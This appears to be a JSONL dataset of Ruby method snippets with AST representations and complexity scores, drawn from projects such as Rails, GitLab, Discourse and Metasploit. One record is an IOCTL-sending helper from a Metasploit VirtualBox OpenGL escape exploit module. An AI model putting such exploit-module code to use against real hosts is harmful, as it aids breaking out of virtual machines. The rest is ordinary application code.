{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/ci_mixin.rb","start_line":43,"raw_source":"def first_and_last_capture(interval_name = \"hourly\")\n    perf = associated_metrics(interval_name)\n           .select(\"MIN(timestamp) AS first_ts, MAX(timestamp) AS last_ts\")\n           .group(:resource_id)\n           .limit(1).to_a\n           .first\n    perf.nil? ? [] : [\n      perf.first_ts.kind_of?(String) ? Time.parse(\"#{perf.first_ts} UTC\") : perf.first_ts,\n      perf.last_ts.kind_of?(String) ? Time.parse(\"#{perf.last_ts} UTC\") : perf.last_ts\n    ]\n  end","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"first_and_last_capture\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"interval_name\",{\"type\":\"str\",\"children\":[\"hourly\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"perf\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"associated_metrics\",{\"type\":\"lvar\",\"children\":[\"interval_name\"]}]},\"select\",{\"type\":\"str\",\"children\":[\"MIN(timestamp) AS first_ts, MAX(timestamp) AS last_ts\"]}]},\"group\",{\"type\":\"sym\",\"children\":[\"resource_id\"]}]},\"limit\",{\"type\":\"int\",\"children\":[1]}]},\"to_a\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"perf\"]},\"nil?\"]},{\"type\":\"array\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"perf\"]},\"first_ts\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"perf\"]},\"first_ts\"]}]},{\"type\":\"str\",\"children\":[\" UTC\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"perf\"]},\"first_ts\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"perf\"]},\"last_ts\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"perf\"]},\"last_ts\"]}]},{\"type\":\"str\",\"children\":[\" UTC\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"perf\"]},\"last_ts\"]}]}]}]}]}]}","id":"f5406baf-95b3-4a3e-b1b9-8342f1fe4d33"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/users/dismissible_alert_component.rb","start_line":11,"raw_source":"def dismiss_endpoint\n      ::Gitlab::Routing.url_helpers.callouts_path\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"dismiss_endpoint\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Routing\"]},\"url_helpers\"]},\"callouts_path\"]}]}","id":"dede5933-5b31-4572-9901-6d3afd2cdc31"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/preview_markdown_service.rb","start_line":74,"raw_source":"def target_id\n    params[:target_id]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"target_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target_id\"]}]}]}","id":"e32b1cc2-86fe-48d1-9377-5ce7ce988b3b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/projects/menus/external_issue_tracker_menu.rb","start_line":48,"raw_source":"def external_issue_tracker\n          @external_issue_tracker ||= context.project.external_issue_tracker\n        end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"external_issue_tracker\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@external_issue_tracker\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"project\"]},\"external_issue_tracker\"]}]}]}","id":"833e71df-441d-407e-b430-f94d15f1c14e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/concerns/accounts/user_login.rb","start_line":47,"raw_source":"def flash_and_log_invalid_credentials(flash_now: true, is_logged_in: false)\n    if is_logged_in\n      flash[:error] = I18n.t(:notice_account_wrong_password)\n      return\n    end\n\n    flash_error_message(log_reason: \"invalid credentials\", flash_now:) do\n      if Setting.brute_force_block_after_failed_logins.to_i > 0\n        :notice_account_invalid_credentials_or_blocked\n      else\n        :notice_account_invalid_credentials\n      end\n    end\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"flash_and_log_invalid_credentials\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"flash_now\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"is_logged_in\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_logged_in\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_account_wrong_password\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash_error_message\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log_reason\"]},{\"type\":\"str\",\"children\":[\"invalid credentials\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flash_now\"]},{\"type\":\"lvar\",\"children\":[\"flash_now\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"brute_force_block_after_failed_logins\"]},\"to_i\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"sym\",\"children\":[\"notice_account_invalid_credentials_or_blocked\"]},{\"type\":\"sym\",\"children\":[\"notice_account_invalid_credentials\"]}]}]}]}]}","id":"379d3e28-b46f-4cfa-b77c-9f7b5079f5d8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb","start_line":627,"raw_source":"def cmd_exit(*args)\n    forced = false\n    forced = true if (args[0] and args[0] =~ /-y/i)\n\n    if(framework.sessions.length > 0 and not forced)\n      print_status(\"You have active sessions open, to exit anyway type \\\"exit -y\\\"\")\n      return\n    elsif(driver.confirm_exit and not forced)\n      print(\"Are you sure you want to exit Metasploit? [y/N]: \")\n      response = gets.downcase.chomp\n      if(response == \"y\" || response == \"yes\")\n        driver.stop\n      else\n        return\n      end\n    end\n\n    driver.stop\n  end","complexity_score":39.9,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_exit\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"forced\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"-y\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"forced\",{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"sessions\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"forced\"]},\"!\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"You have active sessions open, to exit anyway type \\\"exit -y\\\"\"]}]},{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"driver\"]},\"confirm_exit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"forced\"]},\"!\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"str\",\"children\":[\"Are you sure you want to exit Metasploit? [y/N]: \"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gets\"]},\"downcase\"]},\"chomp\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"==\",{\"type\":\"str\",\"children\":[\"y\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"==\",{\"type\":\"str\",\"children\":[\"yes\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"driver\"]},\"stop\"]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"driver\"]},\"stop\"]}]}]}","id":"af73b5af-9eaf-487e-b0d6-dd6702246111"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":1620,"raw_source":"def test_auto_index\n    pid = 123\n    assert_dom_equal(\n      %{<label for=\"post_#{pid}_title\">Title</label>},\n      label(\"post[]\", \"title\")\n    )\n    assert_dom_equal(\n      %{<input id=\"post_#{pid}_title\" name=\"post[#{pid}][title]\" type=\"text\" value=\"Hello World\" />},\n      text_field(\"post[]\", \"title\")\n    )\n    assert_dom_equal(\n      %{<textarea id=\"post_#{pid}_body\" name=\"post[#{pid}][body]\">\\nBack to the hill and over it again!</textarea>},\n      textarea(\"post[]\", \"body\")\n    )\n    assert_dom_equal(\n      %{<input name=\"post[#{pid}][secret]\" type=\"hidden\" value=\"0\" autocomplete=\"off\" /><input checked=\"checked\" id=\"post_#{pid}_secret\" name=\"post[#{pid}][secret]\" type=\"checkbox\" value=\"1\" />},\n      checkbox(\"post[]\", \"secret\")\n    )\n    assert_dom_equal(\n      %{<input checked=\"checked\" id=\"post_#{pid}_title_hello_world\" name=\"post[#{pid}][title]\" type=\"radio\" value=\"Hello World\" />},\n      radio_button(\"post[]\", \"title\", \"Hello World\")\n    )\n    assert_dom_equal(\n      %{<input id=\"post_#{pid}_title_goodbye_world\" name=\"post[#{pid}][title]\" type=\"radio\" value=\"Goodbye World\" />},\n      radio_button(\"post[]\", \"title\", \"Goodbye World\")\n    )\n  end","complexity_score":14.45,"ast_json":"{\"type\":\"def\",\"children\":[\"test_auto_index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"int\",\"children\":[123]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<label for=\\\"post_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"str\",\"children\":[\"_title\\\">Title</label>\"]}]},{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"str\",\"children\":[\"post[]\"]},{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<input id=\\\"post_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"str\",\"children\":[\"_title\\\" name=\\\"post[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"str\",\"children\":[\"][title]\\\" type=\\\"text\\\" value=\\\"Hello World\\\" />\"]}]},{\"type\":\"send\",\"children\":[null,\"text_field\",{\"type\":\"str\",\"children\":[\"post[]\"]},{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<textarea id=\\\"post_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"str\",\"children\":[\"_body\\\" name=\\\"post[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"str\",\"children\":[\"][body]\\\">\\nBack to the hill and over it again!</textarea>\"]}]},{\"type\":\"send\",\"children\":[null,\"textarea\",{\"type\":\"str\",\"children\":[\"post[]\"]},{\"type\":\"str\",\"children\":[\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<input name=\\\"post[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"str\",\"children\":[\"][secret]\\\" type=\\\"hidden\\\" value=\\\"0\\\" autocomplete=\\\"off\\\" /><input checked=\\\"checked\\\" id=\\\"post_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"str\",\"children\":[\"_secret\\\" name=\\\"post[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"str\",\"children\":[\"][secret]\\\" type=\\\"checkbox\\\" value=\\\"1\\\" />\"]}]},{\"type\":\"send\",\"children\":[null,\"checkbox\",{\"type\":\"str\",\"children\":[\"post[]\"]},{\"type\":\"str\",\"children\":[\"secret\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<input checked=\\\"checked\\\" id=\\\"post_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"str\",\"children\":[\"_title_hello_world\\\" name=\\\"post[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"str\",\"children\":[\"][title]\\\" type=\\\"radio\\\" value=\\\"Hello World\\\" />\"]}]},{\"type\":\"send\",\"children\":[null,\"radio_button\",{\"type\":\"str\",\"children\":[\"post[]\"]},{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Hello World\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<input id=\\\"post_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"str\",\"children\":[\"_title_goodbye_world\\\" name=\\\"post[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"str\",\"children\":[\"][title]\\\" type=\\\"radio\\\" value=\\\"Goodbye World\\\" />\"]}]},{\"type\":\"send\",\"children\":[null,\"radio_button\",{\"type\":\"str\",\"children\":[\"post[]\"]},{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Goodbye World\"]}]}]}]}]}","id":"de5609ca-7f35-4d16-87ea-d81aafca45d5"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/duration/iso8601_serializer.rb","start_line":9,"raw_source":"def initialize(duration, precision: nil)\n        @duration = duration\n        @precision = precision\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"duration\"]},{\"type\":\"kwoptarg\",\"children\":[\"precision\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@duration\",{\"type\":\"lvar\",\"children\":[\"duration\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@precision\",{\"type\":\"lvar\",\"children\":[\"precision\"]}]}]}]}","id":"5f236aad-772d-4e28-8799-deecee9e82ad"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/smf2.rb","start_line":392,"raw_source":"def import_attachment(post, attachment)\n    path =\n      find_smf_attachment_path(\n        attachment[:id_attach],\n        attachment[:file_hash],\n        attachment[:filename],\n      )\n    raise \"Attachment for post #{post[:id]} failed: #{attachment[:filename]}\" if path.blank?\n    upload = create_upload(post[:user_id], path, attachment[:filename])\n    unless upload.persisted?\n      raise \"Attachment for post #{post[:id]} failed: #{upload.errors.full_messages.join(\", \")}\"\n    end\n    upload\n  rescue SystemCallError => err\n    raise \"Attachment for post #{post[:id]} failed: #{err.message}\"\n  end","complexity_score":34.6,"ast_json":"{\"type\":\"def\",\"children\":[\"import_attachment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]},{\"type\":\"arg\",\"children\":[\"attachment\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"find_smf_attachment_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id_attach\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attachment for post \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"str\",\"children\":[\" failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filename\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"upload\",{\"type\":\"send\",\"children\":[null,\"create_upload\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"persisted?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attachment for post \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"str\",\"children\":[\" failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"errors\"]},\"full_messages\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"upload\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemCallError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attachment for post \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"str\",\"children\":[\" failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]}]}]}]},null]}]}","id":"28fc18b6-ccb3-496f-a2c6-9ecfa270c1b1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/virtual_box_opengl_escape.rb","start_line":112,"raw_source":"def send_ioctl(ioctl, msg)\n    result = session.railgun.kernel32.DeviceIoControl(@handle, ioctl, msg, msg.length, msg.length, msg.length, 4, \"\")\n\n    if result[\"GetLastError\"] != 0\n      unless result[\"ErrorMessage\"].blank?\n        vprint_error(\"#{result[\"ErrorMessage\"]}\")\n      end\n      return nil\n    end\n\n    unless result[\"lpBytesReturned\"] && result[\"lpBytesReturned\"] == msg.length\n      unless result[\"ErrorMessage\"].blank?\n        vprint_error(\"#{result[\"ErrorMessage\"]}\")\n      end\n      return nil\n    end\n\n    unless result[\"lpOutBuffer\"] && result[\"lpOutBuffer\"].unpack(\"V\").first == 0\n      unless result[\"ErrorMessage\"].blank?\n        vprint_error(\"#{result[\"ErrorMessage\"]}\")\n      end\n      return nil\n    end\n\n    result\n  end","complexity_score":48.6,"ast_json":"{\"type\":\"def\",\"children\":[\"send_ioctl\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ioctl\"]},{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"railgun\"]},\"kernel32\"]},\"DeviceIoControl\",{\"type\":\"ivar\",\"children\":[\"@handle\"]},{\"type\":\"lvar\",\"children\":[\"ioctl\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"length\"]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GetLastError\"]}]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ErrorMessage\"]}]},\"blank?\"]},null,{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ErrorMessage\"]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"lpBytesReturned\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"lpBytesReturned\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"length\"]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ErrorMessage\"]}]},\"blank?\"]},null,{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ErrorMessage\"]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"lpOutBuffer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"lpOutBuffer\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"first\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ErrorMessage\"]}]},\"blank?\"]},null,{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ErrorMessage\"]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"234b57ef-dc0e-498d-a0ad-89bb21a1bee3"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/facebook/message_creator.rb","start_line":10,"raw_source":"def perform\n    # begin\n    if agent_message_via_echo?\n      create_agent_message\n    else\n      create_contact_message\n    end\n    # rescue => e\n    # ChatwootExceptionTracker.new(e).capture_exception\n    # end\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"agent_message_via_echo?\"]},{\"type\":\"send\",\"children\":[null,\"create_agent_message\"]},{\"type\":\"send\",\"children\":[null,\"create_contact_message\"]}]}]}","id":"9d1da942-73d1-4b11-aede-0194da16f444"}
